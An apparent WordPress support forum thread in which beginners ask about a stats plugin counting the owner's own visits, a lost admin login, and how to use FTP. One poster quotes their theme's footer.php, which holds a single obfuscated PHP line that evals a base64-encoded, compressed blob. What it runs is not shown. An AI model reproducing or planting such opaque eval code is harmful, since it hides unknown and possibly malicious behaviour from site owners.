Thanks for input. When I used wordpress.com it definately didn’t count my own logged in visits, but the plug in on my new site does. I’ve tested it during quiet times when there is hardly any traffic. I log in then press visit site then return to the dashboard then voila the stats counter refreshes and logs a new visit. It is too much of a coincidence that during quiet times the number would increase only at those times when I’ve visited the site.

Of course it matters. Some days I log in many times and view my site. I want to keep an accurate tally of visits and regardless of whether the numbers are high or low I’d at least expect the totals to be accurate. Surely if it’s not supposed to count my own visits then it shouldn’t. If you’ve noticed that your dashboard referral is high then do a few tests to make sure that your own vists are not been counted.

I cannot login into Admin.

I made copies of all the contents before I messed up. This is what was in the footer.php

<?php eval(gzinflate(base64_decode(‘XczBCgIhFIXhfU9xmX26D3OgeYFZBK1Nb+OAeuUqST192RBB23P4v1GrrGdqyOjg9IALscuMpcAezh4jwsx0X932KgOe8XYcfK35IGVrTZhonmta2jesvSrCUhz0T/tYShr9dv8VS4GSDWiSuAZaeGunvsLU54LcUyWzVmP2efcC’))); ?>

Thanks! I added this question as well under the plug-in section so please ignore if you see the post there.

I really am a beginner which is why I messed up so badly. How do I FTP? Please can you give step by step instructions.
Also when I went into the footer.php there was no </body> tag so thats why I just added it at the end.

Thanks (hope my ignorance isn’t a pain)
